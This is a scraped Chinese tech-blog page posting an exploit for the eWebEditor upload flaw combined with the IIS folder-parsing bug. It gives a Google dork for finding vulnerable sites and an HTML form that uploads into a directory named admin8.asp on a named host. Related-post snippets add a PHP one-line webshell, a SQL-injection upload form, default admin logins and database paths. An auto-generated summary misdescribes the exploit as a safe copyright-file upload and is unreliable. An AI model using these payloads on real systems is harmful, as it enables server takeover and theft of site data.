ewebeditor的上传结合IIS解析漏洞

最新推荐文章于 2024-05-12 22:26:46 发布
最新推荐文章于 2024-05-12 22:26:46 发布
阅读量794 收藏
点赞数
分类专栏： 漏洞收集 文章标签： iis action google input asp file
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/god_7z1/article/details/6727906
版权
本文详细介绍了如何使用特定代码片段，在网站后台通过表单实现版权文件的上传操作，确保了版权信息的安全性和合规性。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >


google关键字：intext:版权所有:yfcms

利用文件：admin\WebEditor\asp\upload.asp
利用代码：
<form action=”http://www.admin8.us/admin/WebEditor/asp/upload.asp?
action=save&type=image&style=popup&cusdir=admin8.asp” method=post
name=myform enctype=”multipart/form-data”> <input type=file name=uploadfile size=100><br><br> <input type=submit value=upload> </form>
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御（三）
杨秀璋的专栏
12-15 9471
这是作者的系列网络安全自学教程，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友共勉，希望您们喜欢，一起进步。前文分享了文件上传漏洞和IIS6.0解析漏洞，包括PHP345文件绕过上传、Windows ::$DATA绕过、Apache解析漏洞上传等；这篇文章将分享编辑器漏洞和IIS高版本文件上传漏洞，包括FCKeditor、eWebEditor、畸形解析漏洞等，同时结合Caidao工具介绍拿站的流程及防御原理。如果文章对您有帮助，将是我创作的最大动力。
[网络安全自学篇] 八十一.WHUCTF之WEB类解题思路WP（文件上传漏洞、冰蝎蚁剑、反序列化phar）
杨秀璋的专栏
05-30 1万+
这是作者网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您喜欢，一起进步。前文分享了WHUCTF部分题目，包括代码审计、文件包含、过滤绕过、SQL注入。这篇文章将讲解Easy_unserialize解题思路，详细分享文件上传漏洞、冰蝎蚁剑用法、反序列化phar等。第一次参加CTF，还是学到了很多东西，后面几天忙于其他事情，就没再参加。人生路上，要珍惜好每一天与家人陪伴的日子。感谢武汉大学，感谢网安学院，感谢这些大佬和师傅们（尤其出题和解题的老师们）~
漏洞复现篇——ewebeditor编辑器解析漏洞
爱国小白帽
02-18 4521
在线web编辑器，也叫做富文本 编辑器。 富文本编辑器，Rich Text Editor, 简称 RTE, 是一种可内嵌于浏览器，所见即所得的文本编辑器。 富文本编辑器不同于文本编辑器，程序员可到网上下载免费的富文本编辑器内嵌于自己的网站或程序里（当然付费的功能会更强大些），方便用户编辑文章或信息。比较好的文本编辑器有kindeditor,fckeditor等。 这样的程序，能够在网站上写文档的...
ewebeditor php漏洞,ewebeditor for php任意文件上传漏洞
weixin_34952098的博客
03-11 175
此漏洞仅测试了最新版v3.8,不知道低版本是否存在此漏洞。PHP版本的ewebeditor并没有使用数据库来保存配置信息，所有信息位于php/config.php中，代码如下：$sUsername = "admin";$sPassword = "admin";$aStyle[1] = "gray|||gray|||office|||../uploadfile/|||550|||350|||rar|...
ewebeditor编辑器配合IIS6.0解析漏洞拿shell
aiquan9342的博客
02-10 176
很明显这是一个ewebeditor编辑器，这个编辑器存在可遍历目录可创建文件夹等一系列漏洞。直接在url处加../即可。若要创建文件夹直接在url后面写文件夹名称即可。 上传一张shell图片，抓包改包。 在url处加了一个1.asp即创建了一个1.asp的文件夹。 THE END 转载于:https://www.cnblogs.com/xisha...
ewebeditor上传漏洞
ice
10-10 696
&lt;H3&gt;ewebeditor asp版 2.1.6 上传漏洞利用程序----&lt;/H3&gt;&lt;br&gt;&lt;br&gt; &lt;form action="http://xxxx/include/wedit/upload.asp?action=save&amp;type=IMAGE&amp;style=standard' and 1=2 union select S...
web安全-上传漏洞-Ewebeditor编辑器漏洞利用
Coisini的博客
05-31 8067
Ewebeditor简介 漏洞利用 ***默认路径就不一定了，有可能是“edit/admin_login.asp”或者“admin/edit/admin_login．asp”。（默认密码后台：admin，admin） 如果eWebEditor的后台用户名和密码都已经被修改了，那么我们还可以通过下载数据库来获得管理员用户名和密码，数据库默认的下载路径为“/db/ewebeditor.mdb”。下载...
中间件安全IIS----文件解析漏洞利用
sinat_61654365的博客
01-12 1328
IIS6 文件解析漏洞利用IIS6 文件解析漏洞利用IIS服务器主要存在两种解析缺陷:文件夹解析漏洞和分号截断漏洞。下面就来分别具体了解一下。
文件上传小结——文件上传漏洞、文件上传校验姿势、文件上传绕过、文件包含漏洞、服务器解析漏洞……
7Riven's blog
12-02 737
文件上传：文件上传可以与文件包含相结合 1.文件上传漏洞： 文件上传漏洞需要的前提条件： 能上传木马 上传的木马能执行 还要清楚上传后的路径 一句话木马：<?php @eval($_POST[cmd]);?> eval 执行命令函数 思路： 编写一个一句话木马<?php?> 上传一句话木马 上菜刀 图片马制作： 找个图片，用记事本打开，添加一句话 ...
DVWA--文件上传漏洞
xiaoxiao的博客
11-28 1565
文件上传漏洞定义 文件上传漏洞通常是由于上传文件的类型、内容没有进行严格的过滤检查，使得可以通过上传webshell获取服务器权限，因此文件上传漏洞带来的危害通常是毁灭性的。 文件上传漏洞的前提 能上传的木马 上传的木马可执行 还要清楚上传后的路径 实现过程 LOW级别 源码 basename(path,suffix):返回path中的文件名部分，如果可选参数suffix为空，则返回的文...
eWebEditor11.0中文商业版 （内置word导入等功能）
01-04
eWebEditor是一个所见即所得的在线编辑器。顾名思义，就是能在网络上使用所见即所得的编辑方式进行编辑图文并茂的文章、新闻、讨论贴、通告、记事等多种文字处理应用。 eWebEditor11.0中文商业版 （内置word导入等功能）
eWebEditor的使用方法（详细）
10-18
eWebEditor的使用教程，比较详细。因为我最近也在学习使用，所以特别留心，感觉这个教程不错，很详细，易懂，希望和我一样的初学者看了有收获。
eWebEditor 7.3.0 支持上传版 在线html编辑器
03-07
说明： 把eWebEditor7文件夹放入网站根目录，本eWebEditor 7.3.0支持上传，无后门放心使用。 目录 ASP 文件 I.JS // eWebEditor 7.3.0 设置文件 文件 upload.asp //上传文件,不提供上传，就把文件名修改其它名或者删除 文件 upfile_class.asp//上传文件 文件 browse.asp //浏览上传文件 目录 sharefile 目录 media //放共享视频文件 目录 image //放共享图片文件 目录 flash //放共享FLASH文件 目录 0ther //放共享办公文件 目录 upload //是我自己附加上一个上传类，可以在外面调用上传。其实官方也有直接调用EWEBeditor上传类，是很多网友不懂。 注：本次发布eWebEditor 7.3.0 上传版，希望不要太多骂声。功能有点限制，有经济的朋友请支持正版。
ewebeditor 3.8 任意文件上传漏洞解析
ice
11-09 1256
   首先这个是别人早都发出来的一个漏洞，exp也写好了，如下 &lt;title&gt;eWebeditoR3.8 for php任意文件上EXP&lt;/title&gt; &lt;form action="" method=post enctype="multipart/form-data"&gt; &lt;INPUT TYPE="hidden" name="MAX_F
Ewebeditor 2.1.6上传漏洞 UNION运用-直接得SHELL
收集盒 Book box
04-21 1234
<br />以前曾进过一个网站，把上传部份的asp代码下载回来研究，当时感觉有漏洞但没仔细研究，还以为那是他们自已写的程序。<br />前几天看到ewebeditor有漏洞的文章才想起那个网站原来用的也是ewebeditor。今天仔细看了看，发现问题了(2.1
ewebeditor漏洞大全
热门推荐
xysoul的专栏
03-23 1万+
1:默认管理后台: http://www.backlion.com/ewebeditor/admin_login.asp 后台如果能进入: 可点击样式管理: standard 拷贝一份(直接修改改不了) 在拷贝的一份里加入图片类型( asa aaspsp )   然后点预览 在编辑器里点设计    然后直接上传asa大马. 上传后 在代码里可以看到马的位置!
ewebeditor编辑器漏洞
arissa666的博客
10-18 812
网页在线编辑器，权限限制不严格，弱口令，文件过滤出现问题。
22-任意文件上传与编辑器漏洞（Ewebeditor、fckeditor、CKFinder、southidceditor等）（四）
最新发布
XLbb的博客
05-12 1433
Ewebeditor是基于浏览器的、所见即所得的在线HTML编辑器。她能够在网页上实现许多桌面编辑软件（如：Word）所具有的强大可视编辑功能。WEB开发人员可以用她把传统的多行文本输入框替换为可视化的富文本输入框，使最终用户可以可视化的发布HTML格式的网页内容。eWebEditor!已基本成为网站内容管理发布的必备工具！
eWebEditor网页编辑器漏洞手册
禅心之道的博客
10-19 303
eWebEditoreWebEditor利用基础知识默认后台地址：/ewebeditor/admin_login.asp建议最好检测下admin_style.asp文件是否可以直接访问默认数据库路径：[PATH]/db/ewebeditor.mdb[PATH]/db/db.mdb--某些CMS里是这个数据库也可尝试[PATH]/db/%23ewebeditor.mdb--某些...
eWebEditor编辑器安全上传漏洞分析
"eWebEditor编辑器构造上传.pdf" 在网络安全领域，特别是在渗透测试中，了解并利用富文本编辑器的漏洞是非常重要的技能。本资料主要关注的是eWebEditor编辑器的上传功能及其可能的安全隐患。eWebEditor是一款常见的...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值